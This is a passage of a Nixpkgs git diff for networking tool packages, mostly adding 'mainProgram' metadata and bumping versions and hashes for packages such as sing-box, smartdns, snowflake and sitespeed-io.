b/pkgs/tools/networking/photon/default.nix @@ -31,5 +31,6 @@ python3Packages.buildPythonApplication rec { homepage = "https://github.com/s0md3v/Photon"; license = licenses.gpl3; maintainers = with maintainers; [ ]; + mainProgram = "photon"; }; } diff --git a/pkgs/tools/networking/piknik/default.nix b/pkgs/tools/networking/piknik/default.nix index 7b5b1a5e04c37..d3b2a8266b886 100644 --- a/pkgs/tools/networking/piknik/default.nix +++ b/pkgs/tools/networking/piknik/default.nix @@ -33,5 +33,6 @@ buildGoModule rec { changelog = "https://github.com/jedisct1/piknik/blob/${src.rev}/ChangeLog"; license = licenses.bsd2; maintainers = with maintainers; [ figsoda ]; + mainProgram = "piknik"; }; } diff --git a/pkgs/tools/networking/pingtcp/default.nix b/pkgs/tools/networking/pingtcp/default.nix index 5b4cbf10321f5..88476ab856869 100644 --- a/pkgs/tools/networking/pingtcp/default.nix +++ b/pkgs/tools/networking/pingtcp/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/LanetNetwork/pingtcp"; license = licenses.gpl3; platforms = platforms.linux; + mainProgram = "pingtcp"; }; } diff --git a/pkgs/tools/networking/pingu/default.nix b/pkgs/tools/networking/pingu/default.nix index ca33e4862478c..5fcaa0af5fefc 100644 --- a/pkgs/tools/networking/pingu/default.nix +++ b/pkgs/tools/networking/pingu/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/sheepla/pingu/"; license = licenses.mit; maintainers = with maintainers; [ CactiChameleon9 ]; + mainProgram = "pingu"; }; } diff --git a/pkgs/tools/networking/pixiecore/default.nix b/pkgs/tools/networking/pixiecore/default.nix index f1249cfb8286f..e73999d446890 100644 --- a/pkgs/tools/networking/pixiecore/default.nix +++ b/pkgs/tools/networking/pixiecore/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/danderson/netboot/tree/master/pixiecore"; license = lib.licenses.asl20; maintainers = with lib.maintainers; [ bbigras danderson ]; + mainProgram = "pixiecore"; }; } diff --git a/pkgs/tools/networking/pixiewps/default.nix b/pkgs/tools/networking/pixiewps/default.nix index 82d420755d032..d3a7f0bc69d1e 100644 --- a/pkgs/tools/networking/pixiewps/default.nix +++ b/pkgs/tools/networking/pixiewps/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3; maintainers = [ lib.maintainers.nico202 ]; platforms = lib.platforms.all; + mainProgram = "pixiewps"; }; } diff --git a/pkgs/tools/networking/privoxy/default.nix b/pkgs/tools/networking/privoxy/default.nix index 048ee085a6f2e..5f394db354c01 100644 --- a/pkgs/tools/networking/privoxy/default.nix +++ b/pkgs/tools/networking/privoxy/default.nix @@ -52,6 +52,7 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.all; maintainers = [ ]; + mainProgram = "privoxy"; }; } diff --git a/pkgs/tools/networking/proxychains/default.nix b/pkgs/tools/networking/proxychains/default.nix index 56778defe335a..e78b1b0fcd6c6 100644 --- a/pkgs/tools/networking/proxychains/default.nix +++ b/pkgs/tools/networking/proxychains/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ fab ]; platforms = platforms.linux; + mainProgram = "proxychains4"; }; } diff --git a/pkgs/tools/networking/pwnat/default.nix b/pkgs/tools/networking/pwnat/default.nix index ab123973c0a1b..c0ead5468b509 100644 --- a/pkgs/tools/networking/pwnat/default.nix +++ b/pkgs/tools/networking/pwnat/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with maintainers; [viric]; platforms = with platforms; linux; + mainProgram = "pwnat"; }; } diff --git a/pkgs/tools/networking/q/default.nix b/pkgs/tools/networking/q/default.nix index ed3a1a57fc36d..8602cda6da7b7 100644 --- a/pkgs/tools/networking/q/default.nix +++ b/pkgs/tools/networking/q/default.nix @@ -13,6 +13,12 @@ buildGoModule rec { vendorHash = "sha256-6kdf+LwMrIjwC3uZHlMdpEHvonxKfr86PQaMOgzgYOc="; + ldflags = [ + "-s" + "-w" + "-X main.version=${version}" + ]; + doCheck = false; # tries to resolve DNS meta = { @@ -20,5 +26,6 @@ buildGoModule rec { homepage = "https://github.com/natesales/q"; license = lib.licenses.gpl3Only; maintainers = [ lib.maintainers.das_j ]; + mainProgram = "q"; }; } diff --git a/pkgs/tools/networking/qrcp/default.nix b/pkgs/tools/networking/qrcp/default.nix index 0d8a344cbd6d0..f45c053c9662c 100644 --- a/pkgs/tools/networking/qrcp/default.nix +++ b/pkgs/tools/networking/qrcp/default.nix @@ -42,6 +42,6 @@ buildGoModule rec { ''; license = licenses.mit; maintainers = with maintainers; [ fgaz ]; - broken = stdenv.isDarwin; # needs golang.org/x/sys bump + mainProgram = "qrcp"; }; } diff --git a/pkgs/tools/networking/quickserve/default.nix b/pkgs/tools/networking/quickserve/default.nix index f23bbcd25371b..ca175f5f2a911 100644 --- a/pkgs/tools/networking/quickserve/default.nix +++ b/pkgs/tools/networking/quickserve/default.nix @@ -31,5 +31,6 @@ in stdenv.mkDerivation { homepage = "https://xyne.archlinux.ca/projects/quickserve/"; license = licenses.gpl2; maintainers = with maintainers; [ lassulus ]; + mainProgram = "quickserve"; }; } diff --git a/pkgs/tools/networking/rathole/default.nix b/pkgs/tools/networking/rathole/default.nix index b6338e262f635..1f12ed46b1476 100644 --- a/pkgs/tools/networking/rathole/default.nix +++ b/pkgs/tools/networking/rathole/default.nix @@ -40,5 +40,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/rapiz1/rathole/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "rathole"; }; } diff --git a/pkgs/tools/networking/rcon/default.nix b/pkgs/tools/networking/rcon/default.nix index 03c2a1ae1a37e..e51dc3fac3717 100644 --- a/pkgs/tools/networking/rcon/default.nix +++ b/pkgs/tools/networking/rcon/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ f4814n ]; platforms = with platforms; linux ++ darwin; license = licenses.bsd2; + mainProgram = "rcon"; }; } diff --git a/pkgs/tools/networking/rconc/default.nix b/pkgs/tools/networking/rconc/default.nix index 613c4a8a31b0a..5934dd7e88937 100644 --- a/pkgs/tools/networking/rconc/default.nix +++ b/pkgs/tools/networking/rconc/default.nix @@ -17,5 +17,6 @@ rustPlatform.buildRustPackage rec { description = "Simple cross-platform RCON client written in rust"; homepage = "https://github.com/klemens/rconc"; license = licenses.gpl3Only; + mainProgram = "rconc"; }; } diff --git a/pkgs/tools/networking/rdap/default.nix b/pkgs/tools/networking/rdap/default.nix index d6ecc8d595707..3ea80e07dabbf 100644 --- a/pkgs/tools/networking/rdap/default.nix +++ b/pkgs/tools/networking/rdap/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { description = "Command line client for the Registration Data Access Protocol (RDAP)"; license = licenses.mit; maintainers = with maintainers; [ sebastianblunt ]; + mainProgram = "rdap"; }; } diff --git a/pkgs/tools/networking/rdrview/default.nix b/pkgs/tools/networking/rdrview/default.nix index 24ba1d35e9afc..e4d56be3ffb9a 100644 --- a/pkgs/tools/networking/rdrview/default.nix +++ b/pkgs/tools/networking/rdrview/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation { homepage = "https://github.com/eafer/rdrview"; license = licenses.asl20; maintainers = with maintainers; [ djanatyn ]; + mainProgram = "rdrview"; }; } diff --git a/pkgs/tools/networking/redfang/default.nix b/pkgs/tools/networking/redfang/default.nix index a4ba12b29489d..a6447c19576cd 100644 --- a/pkgs/tools/networking/redfang/default.nix +++ b/pkgs/tools/networking/redfang/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { homepage = "https://gitlab.com/kalilinux/packages/redfang"; license = licenses.gpl2Only; maintainers = with maintainers; [ moni ]; + mainProgram = "fang"; }; } diff --git a/pkgs/tools/networking/redir/default.nix b/pkgs/tools/networking/redir/default.nix index 83d52fdf10d22..17975521de161 100644 --- a/pkgs/tools/networking/redir/default.nix +++ b/pkgs/tools/networking/redir/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = with lib.maintainers; [ ]; platforms = lib.platforms.unix; + mainProgram = "redir"; }; } diff --git a/pkgs/tools/networking/redli/default.nix b/pkgs/tools/networking/redli/default.nix index a9d590e056971..41bc3d9265e63 100644 --- a/pkgs/tools/networking/redli/default.nix +++ b/pkgs/tools/networking/redli/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/IBM-Cloud/redli"; license = licenses.asl20; maintainers = with maintainers; [ tchekda ]; + mainProgram = "redli"; }; } diff --git a/pkgs/tools/networking/redsocks/default.nix b/pkgs/tools/networking/redsocks/default.nix index cebec2cb2b60c..f97dd01e074d3 100644 --- a/pkgs/tools/networking/redsocks/default.nix +++ b/pkgs/tools/networking/redsocks/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = lib.licenses.asl20; maintainers = [ lib.maintainers.ekleog ]; platforms = lib.platforms.linux; + mainProgram = "redsocks"; }; } diff --git a/pkgs/tools/networking/requestly/default.nix b/pkgs/tools/networking/requestly/default.nix index 671d084b8ecbd..20e877563afa9 100644 --- a/pkgs/tools/networking/requestly/default.nix +++ b/pkgs/tools/networking/requestly/default.nix @@ -30,5 +30,6 @@ appimageTools.wrapType2 { homepage = "https://requestly.io"; license = licenses.agpl3Only; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "requestly"; }; } diff --git a/pkgs/tools/networking/restish/default.nix b/pkgs/tools/networking/restish/default.nix index 807b8e4a9bdf7..f8a1cfd466eaa 100644 --- a/pkgs/tools/networking/restish/default.nix +++ b/pkgs/tools/networking/restish/default.nix @@ -52,5 +52,6 @@ buildGoModule rec { changelog = "https://github.com/danielgtaylor/restish/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ fab ]; + mainProgram = "restish"; }; } diff --git a/pkgs/tools/networking/rewrk/default.nix b/pkgs/tools/networking/rewrk/default.nix index 6b48ce95b4239..58aa3f46185b1 100644 --- a/pkgs/tools/networking/rewrk/default.nix +++ b/pkgs/tools/networking/rewrk/default.nix @@ -32,5 +32,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/lnx-search/rewrk/releases/tag/${version}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "rewrk"; }; } diff --git a/pkgs/tools/networking/ripmime/default.nix b/pkgs/tools/networking/ripmime/default.nix index 7cfb31ff9858b..70ff2cbe7305b 100644 --- a/pkgs/tools/networking/ripmime/default.nix +++ b/pkgs/tools/networking/ripmime/default.nix @@ -21,6 +21,7 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ raskin ]; homepage = "https://pldaniels.com/ripmime/"; platforms = platforms.all; + mainProgram = "ripmime"; }; passthru = { diff --git a/pkgs/tools/networking/routedns/default.nix b/pkgs/tools/networking/routedns/default.nix index 22a0a82667133..0b6f6822bb8d0 100644 --- a/pkgs/tools/networking/routedns/default.nix +++ b/pkgs/tools/networking/routedns/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { description = "DNS stub resolver, proxy and router"; license = licenses.bsd3; maintainers = with maintainers; [ jsimonetti ]; + mainProgram = "routedns"; }; } diff --git a/pkgs/tools/networking/rshijack/default.nix b/pkgs/tools/networking/rshijack/default.nix index 41d716bf61c55..181abdf4b6037 100644 --- a/pkgs/tools/networking/rshijack/default.nix +++ b/pkgs/tools/networking/rshijack/default.nix @@ -19,5 +19,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3; maintainers = with maintainers; [ xrelkd ]; platforms = platforms.unix; + mainProgram = "rshijack"; }; } diff --git a/pkgs/tools/networking/s3rs/default.nix b/pkgs/tools/networking/s3rs/default.nix index cb73eaf6b59da..2e72c7cb45bff 100644 --- a/pkgs/tools/networking/s3rs/default.nix +++ b/pkgs/tools/networking/s3rs/default.nix @@ -22,5 +22,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/yanganto/s3rs"; license = licenses.mit; maintainers = with maintainers; [ yanganto ]; + mainProgram = "s3rs"; }; } diff --git a/pkgs/tools/networking/s5cmd/default.nix b/pkgs/tools/networking/s5cmd/default.nix index 8d3b97c0d3168..292169d77f772 100644 --- a/pkgs/tools/networking/s5cmd/default.nix +++ b/pkgs/tools/networking/s5cmd/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { description = "Parallel S3 and local filesystem execution tool"; license = licenses.mit; maintainers = with maintainers; [ tomberek ]; + mainProgram = "s5cmd"; }; } diff --git a/pkgs/tools/networking/saldl/default.nix b/pkgs/tools/networking/saldl/default.nix index fb373fb5029e0..b7281d3a20a7b 100644 --- a/pkgs/tools/networking/saldl/default.nix +++ b/pkgs/tools/networking/saldl/default.nix @@ -55,5 +55,6 @@ stdenv.mkDerivation rec { license = licenses.agpl3; maintainers = with maintainers; [ zowoq ]; platforms = platforms.all; + mainProgram = "saldl"; }; } diff --git a/pkgs/tools/networking/shadowsocks-rust/default.nix b/pkgs/tools/networking/shadowsocks-rust/default.nix index d4e619f563f63..38fb6a60169bf 100644 --- a/pkgs/tools/networking/shadowsocks-rust/default.nix +++ b/pkgs/tools/networking/shadowsocks-rust/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "shadowsocks-rust"; - version = "1.18.0"; + version = "1.18.1"; src = fetchFromGitHub { rev = "v${version}"; owner = "shadowsocks"; repo = pname; - hash = "sha256-vW1Q3pqVXR3yn2wixhDZE1QsMmUfKswaGZ6JbJAZ5VM="; + hash = "sha256-q7XtYOBruEmjPC4gx+hBO5oRwbxL7wQJenBS8Pl6yRk="; }; - cargoHash = "sha256-cjkt6Ivpn3MpjdiPM/tLm3B+v/+VCJyxiF7x1bob528="; + cargoHash = "sha256-av4xUjoUGt53UoEpWULv15JKVWZq1x0YXvF5XFf4meQ="; nativeBuildInputs = lib.optionals stdenv.isLinux [ pkg-config ]; diff --git a/pkgs/tools/networking/shncpd/default.nix b/pkgs/tools/networking/shncpd/default.nix index 8cfd1f94252a1..ed724c24cf790 100644 --- a/pkgs/tools/networking/shncpd/default.nix +++ b/pkgs/tools/networking/shncpd/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation { license = licenses.mit; platforms = platforms.linux; maintainers = [ maintainers.fpletz ]; + mainProgram = "shncpd"; }; } diff --git a/pkgs/tools/networking/simpleproxy/default.nix b/pkgs/tools/networking/simpleproxy/default.nix index 6c110be05da37..7f9ccd1c98653 100644 --- a/pkgs/tools/networking/simpleproxy/default.nix +++ b/pkgs/tools/networking/simpleproxy/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { description = "A simple TCP proxy"; license = licenses.gpl2; maintainers = [ maintainers.montag451 ]; + mainProgram = "simpleproxy"; }; } diff --git a/pkgs/tools/networking/sing-box/default.nix b/pkgs/tools/networking/sing-box/default.nix index f2c0b85980b25..dee829021ae8d 100644 --- a/pkgs/tools/networking/sing-box/default.nix +++ b/pkgs/tools/networking/sing-box/default.nix @@ -11,16 +11,16 @@ buildGoModule rec { pname = "sing-box"; - version = "1.8.5"; + version = "1.8.8"; src = fetchFromGitHub { owner = "SagerNet"; repo = pname; rev = "v${version}"; - hash = "sha256-fW96Hh0eBK8pKkrQP+uA2uaqnZFvZszX2d+VOxKo5Zk="; + hash = "sha256-HbfN9H6mYRZkD1f5CmDSORP29I00u0Ye8l77wrswTE0="; }; - vendorHash = "sha256-4PauMcKpjXtXHJds8MJPH9L+UYPu2fFltP2uUEXtb+o="; + vendorHash = "sha256-tOUzshNU6TIjhWVWmlVcw/Ct/V52b+WIJHqs3+weCc0="; tags = [ "with_quic" diff --git a/pkgs/tools/networking/sipcalc/default.nix b/pkgs/tools/networking/sipcalc/default.nix index c9470cd5b8b33..1ba4db5bc0d25 100644 --- a/pkgs/tools/networking/sipcalc/default.nix +++ b/pkgs/tools/networking/sipcalc/default.nix @@ -15,5 +15,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; platforms = platforms.all; maintainers = [ maintainers.globin ]; + mainProgram = "sipcalc"; }; } diff --git a/pkgs/tools/networking/sipexer/default.nix b/pkgs/tools/networking/sipexer/default.nix index d88faee09f0fe..d1be5e9f7770d 100644 --- a/pkgs/tools/networking/sipexer/default.nix +++ b/pkgs/tools/networking/sipexer/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/miconda/sipexer/releases/tag/v${version}"; license = licenses.gpl3Only; maintainers = with maintainers; [ astro janik ]; + mainProgram = "sipexer"; }; } diff --git a/pkgs/tools/networking/sipsak/default.nix b/pkgs/tools/networking/sipsak/default.nix index c2aeaaa18e00b..4d1cf08a11b8d 100644 --- a/pkgs/tools/networking/sipsak/default.nix +++ b/pkgs/tools/networking/sipsak/default.nix @@ -29,6 +29,7 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; maintainers = with maintainers; [ sheenobu ]; platforms = with platforms; unix; + mainProgram = "sipsak"; }; } diff --git a/pkgs/tools/networking/sish/default.nix b/pkgs/tools/networking/sish/default.nix index d1913e5dff412..afac612d0604c 100644 --- a/pkgs/tools/networking/sish/default.nix +++ b/pkgs/tools/networking/sish/default.nix @@ -38,5 +38,6 @@ buildGoModule rec { changelog = "https://github.com/antoniomika/sish/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ fab ]; + mainProgram = "sish"; }; } diff --git a/pkgs/tools/networking/sitespeed-io/default.nix b/pkgs/tools/networking/sitespeed-io/default.nix index f7b71b2fb4ca7..e852df0b8d4c2 100644 --- a/pkgs/tools/networking/sitespeed-io/default.nix +++ b/pkgs/tools/networking/sitespeed-io/default.nix @@ -2,13 +2,14 @@ , stdenv , fetchFromGitHub , buildNpmPackage -, makeWrapper +, nodejs_18 , coreutils , ffmpeg-headless , imagemagick_light , procps , python3 , xorg +, nix-update-script # chromedriver is more efficient than geckodriver, but is available on less platforms. @@ -23,15 +24,17 @@ assert (!withFirefox && !withChromium) -> throw "Either `withFirefox` or `withChromium` must be enabled."; buildNpmPackage rec { pname = "sitespeed-io"; - version = "27.3.1"; + version = "33.1.1"; src = fetchFromGitHub { owner = "sitespeedio"; repo = "sitespeed.io"; rev = "v${version}"; - hash = "sha256-Z4U4ZIw5Du/VSHIsGKdgu7wRv/6XVh/nMFDs8aYwkOQ="; + hash = "sha256-Blzv0fLWqDfLYbtSVTUbhWS75fkqADzEwYQvomeqt1U="; }; + nodejs = nodejs_18; + postPatch = '' ln -s npm-shrinkwrap.json package-lock.json ''; @@ -41,11 +44,9 @@ buildNpmPackage rec { GECKODRIVER_SKIP_DOWNLOAD = true; EDGEDRIVER_SKIP_DOWNLOAD = true; - nativeBuildInputs = [ python3 makeWrapper ]; - dontNpmBuild = true; npmInstallFlags = [ "--omit=dev" ]; - npmDepsHash = "sha256-RfZlXE8hnAJKiiWdOGFsAFGcxwgnLNvLrXeIinABFb0="; + npmDepsHash = "sha256-+oU0+AVWf7PNqZCUI/KYe+PoNrHNaR35N6SifYCSRp4="; postInstall = '' mv $out/bin/sitespeed{.,-}io @@ -81,6 +82,10 @@ buildNpmPackage rec { ${lib.optionalString (withFirefox && !withChromium) "--add-flags '-b firefox'"} ''; + passthru = { + updateScript = nix-update-script { }; + }; + meta = with lib; { description = "An open source tool that helps you monitor, analyze and optimize your website speed and performance"; homepage = "https://sitespeed.io"; diff --git a/pkgs/tools/networking/sleep-on-lan/default.nix b/pkgs/tools/networking/sleep-on-lan/default.nix index de4831ddeaddf..bd55711830bc2 100644 --- a/pkgs/tools/networking/sleep-on-lan/default.nix +++ b/pkgs/tools/networking/sleep-on-lan/default.nix @@ -30,5 +30,6 @@ buildGoModule rec { license = licenses.asl20; platforms = platforms.linux; maintainers = with maintainers; [ devusb ]; + mainProgram = "sleep-on-lan"; }; } diff --git a/pkgs/tools/networking/slirp4netns/default.nix b/pkgs/tools/networking/slirp4netns/default.nix index 0daf91ae14d5c..2b2091d85b27c 100644 --- a/pkgs/tools/networking/slirp4netns/default.nix +++ b/pkgs/tools/networking/slirp4netns/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ orivej ] ++ teams.podman.members; platforms = platforms.linux; + mainProgram = "slirp4netns"; }; } diff --git a/pkgs/tools/networking/slowlorust/default.nix b/pkgs/tools/networking/slowlorust/default.nix index bcfdfc7769eb7..c48257130b2d6 100644 --- a/pkgs/tools/networking/slowlorust/default.nix +++ b/pkgs/tools/networking/slowlorust/default.nix @@ -27,5 +27,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/MJVL/slowlorust"; license = licenses.mit; maintainers = with maintainers; [ fab ]; + mainProgram = "slowlorust"; }; } diff --git a/pkgs/tools/networking/smartdns/default.nix b/pkgs/tools/networking/smartdns/default.nix index 79b089e8e16ab..619a3c773b16f 100644 --- a/pkgs/tools/networking/smartdns/default.nix +++ b/pkgs/tools/networking/smartdns/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "smartdns"; - version = "43"; + version = "45"; src = fetchFromGitHub { owner = "pymumu"; repo = pname; rev = "Release${version}"; - hash = "sha256-gwbyP2duUvZafMclPwP4uZh7A7OzAvSyqjl6Eg1N6Gg="; + hash = "sha256-aVGIgQkFz8A1UsHsgOSkEEE5vzp4cJEtcaKHv1EzErg="; }; buildInputs = [ openssl ]; @@ -24,7 +24,10 @@ stdenv.mkDerivation rec { installFlags = [ "SYSCONFDIR=${placeholder "out"}/etc" ]; passthru.tests = { - version = testers.testVersion { package = smartdns; }; + version = testers.testVersion { + package = smartdns; + command = "smartdns -v"; + }; }; meta = with lib; { @@ -39,5 +42,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.lexuge ]; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "smartdns"; }; } diff --git a/pkgs/tools/networking/snabb/default.nix b/pkgs/tools/networking/snabb/default.nix index 00bc41f69e772..16c6a40bb347d 100644 --- a/pkgs/tools/networking/snabb/default.nix +++ b/pkgs/tools/networking/snabb/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { platforms = [ "x86_64-linux" ]; license = licenses.asl20; maintainers = [ maintainers.lukego ]; + mainProgram = "snabb"; }; } diff --git a/pkgs/tools/networking/snet/default.nix b/pkgs/tools/networking/snet/default.nix index 4775d789d7c1c..47f70a21d33b9 100644 --- a/pkgs/tools/networking/snet/default.nix +++ b/pkgs/tools/networking/snet/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { homepage = "https://github.com/monsterxx03/snet"; license = licenses.mit; maintainers = with maintainers; [ azuwis ]; + mainProgram = "snet"; }; } diff --git a/pkgs/tools/networking/snmpcheck/default.nix b/pkgs/tools/networking/snmpcheck/default.nix index e27ead59e9716..b365ccc5f1911 100644 --- a/pkgs/tools/networking/snmpcheck/default.nix +++ b/pkgs/tools/networking/snmpcheck/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { homepage = "http://www.nothink.org/codes/snmpcheck/"; license = licenses.gpl3Plus; maintainers = with maintainers; [ elohmeier ]; + mainProgram = "snmp-check"; }; } diff --git a/pkgs/tools/networking/snowflake/default.nix b/pkgs/tools/networking/snowflake/default.nix index 556a3101cb65d..f48824f040541 100644 --- a/pkgs/tools/networking/snowflake/default.nix +++ b/pkgs/tools/networking/snowflake/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "snowflake"; - version = "2.9.0"; + version = "2.9.1"; src = fetchFromGitLab { domain = "gitlab.torproject.org"; @@ -10,16 +10,16 @@ buildGoModule rec { owner = "anti-censorship/pluggable-transports"; repo = "snowflake"; rev = "v${version}"; - sha256 = "sha256-h8T8kc7idZcfepVjhpX+0RIypFDp2nMt3ZZ61YmeLQk="; + sha256 = "sha256-LDr/Fzg1fC2lf7W+yTD1y5q4C2pPXZz+ZJf9sI1BxcQ="; }; - vendorHash = "sha256-TSB0UDVD9ijOFgOmIh7ppnKJn/VWzejeDcb1+30+Mnc="; + vendorHash = "sha256-IT2+5HmgkV6BKPEARkCZbULyVr7VDLtwGUCF22YuodA="; meta = with lib; { description = "System to defeat internet censorship"; homepage = "https://snowflake.torproject.org/"; changelog = "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/v${version}/ChangeLog"; - maintainers = with maintainers; [ lourkeur yayayayaka ]; + maintainers = with maintainers; [ bbjubjub yayayayaka ]; license = licenses.bsd3; }; } diff --git a/pkgs/tools/networking/sockperf/default.nix b/pkgs/tools/networking/sockperf/default.nix index 8f7bcc65d1cae..ed071322f2f88 100644 --- a/pkgs/tools/networking/sockperf/default.nix +++ b/pkgs/tools/networking/sockperf/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.bsd3; maintainers = with maintainers; [ emilytrau ]; platforms = platforms.all; + mainProgram = "sockperf"; }; } diff --git a/pkgs/tools/networking/speedtest-go/default.nix b/pkgs/tools/networking/speedtest-go/default.nix index 39c92fcb40d18..9570442345ece 100644 --- a/pkgs/tools/networking/speedtest-go/default.nix +++ b/pkgs/tools/networking/speedtest-go/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { changelog = "https://github.com/showwin/speedtest-go/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ aleksana ]; + mainProgram = "speedtest-go"; }; } diff --git a/pkgs/tools/networking/speedtest-rs/default.nix b/pkgs/tools/networking/speedtest-rs/default.nix index 294374f134f19..22f4fba0c01a9 100644 --- a/pkgs/tools/networking/speedtest-rs/default.nix +++ b/pkgs/tools/networking/speedtest-rs/default.nix @@ -19,7 +19,10 @@ rustPlatform.buildRustPackage rec { }; buildInputs = [ openssl ] ++ - lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.Security ]; + lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.Security + darwin.apple_sdk.frameworks.SystemConfiguration + ]; nativeBuildInputs = [ pkg-config ]; @@ -31,5 +34,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/nelsonjchen/speedtest-rs/blob/v${version}/CHANGELOG.md"; license = with licenses; [ mit asl20 ]; maintainers = with maintainers; [ GaetanLepage ]; + mainProgram = "speedtest-rs"; }; } diff --git a/pkgs/tools/networking/spoofer/default.nix b/pkgs/tools/networking/spoofer/default.nix index 905a28b1b3d02..bf969ae5d1f51 100644 --- a/pkgs/tools/networking/spoofer/default.nix +++ b/pkgs/tools/networking/spoofer/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation rec { platforms = platforms.all; license = licenses.gpl3Plus; maintainers = with lib.maintainers; [ leenaars]; + mainProgram = "spoofer-prober"; }; } diff --git a/pkgs/tools/networking/srelay/default.nix b/pkgs/tools/networking/srelay/default.nix index a609328220f3c..784aca8fe4316 100644 --- a/pkgs/tools/networking/srelay/default.nix +++ b/pkgs/tools/networking/srelay/default.nix @@ -22,5 +22,6 @@ stdenv.mkDerivation rec { license = lib.licenses.bsd3; # never built on aarch64-linux since first introduction in nixpkgs broken = stdenv.isLinux && stdenv.isAarch64; + mainProgram = "srelay"; }; } diff --git a/pkgs/tools/networking/ssh-agents/default.nix b/pkgs/tools/networking/ssh-agents/default.nix index a4e930281a508..f9414d9835d36 100644 --- a/pkgs/tools/networking/ssh-agents/default.nix +++ b/pkgs/tools/networking/ssh-agents/default.nix @@ -39,5 +39,6 @@ stdenvNoCC.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ kalbasit ]; platforms = platforms.unix; + mainProgram = "ssh-agents"; }; } diff --git a/pkgs/tools/networking/ssh-ident/default.nix b/pkgs/tools/networking/ssh-ident/default.nix index 1822eda26278d..3886828c52210 100644 --- a/pkgs/tools/networking/ssh-ident/default.nix +++ b/pkgs/tools/networking/ssh-ident/default.nix @@ -27,5 +27,6 @@ stdenvNoCC.mkDerivation { license = licenses.bsd2; maintainers = with maintainers; [ telotortium ]; platforms = with platforms; unix; + mainProgram = "ssh-ident"; }; } diff --git a/pkgs/tools/networking/ssh-key-confirmer/default.nix b/pkgs/tools/networking/ssh-key-confirmer/default.nix index ed8b9cac734bd..408719f746534 100644 --- a/pkgs/tools/networking/ssh-key-confirmer/default.nix +++ b/pkgs/tools/networking/ssh-key-confirmer/default.nix @@ -20,5 +20,6 @@ buildGoModule rec { homepage = "https://github.com/benjojo/ssh-key-confirmer"; license = licenses.mit; maintainers = with maintainers; [ oxzi ]; + mainProgram = "ssh-key-confirmer"; }; } diff --git a/pkgs/tools/networking/sshed/default.nix b/pkgs/tools/networking/sshed/default.nix index cedb7bf0bc688..ac221f49ed2b4 100644 --- a/pkgs/tools/networking/sshed/default.nix +++ b/pkgs/tools/networking/sshed/default.nix @@ -25,5 +25,6 @@ buildGoModule rec { homepage = "https://github.com/trntv/sshed"; license = licenses.asl20; maintainers = with maintainers; [ ocfox ]; + mainProgram = "sshed"; }; } diff --git a/pkgs/tools/networking/sshpass/default.nix b/pkgs/tools/networking/sshpass/default.nix index a3948aed08f48..6818fe33a94de 100644 --- a/pkgs/tools/networking/sshpass/default.nix +++ b/pkgs/tools/networking/sshpass/default.nix @@ -15,5 +15,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.madjar ]; platforms = platforms.unix; + mainProgram = "sshpass"; }; } diff --git a/pkgs/tools/networking/sshping/default.nix b/pkgs/tools/networking/sshping/default.nix index 13abba539ac5d..608c8125f0d2b 100644 --- a/pkgs/tools/networking/sshping/default.nix +++ b/pkgs/tools/networking/sshping/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.unix; maintainers = with maintainers; [ 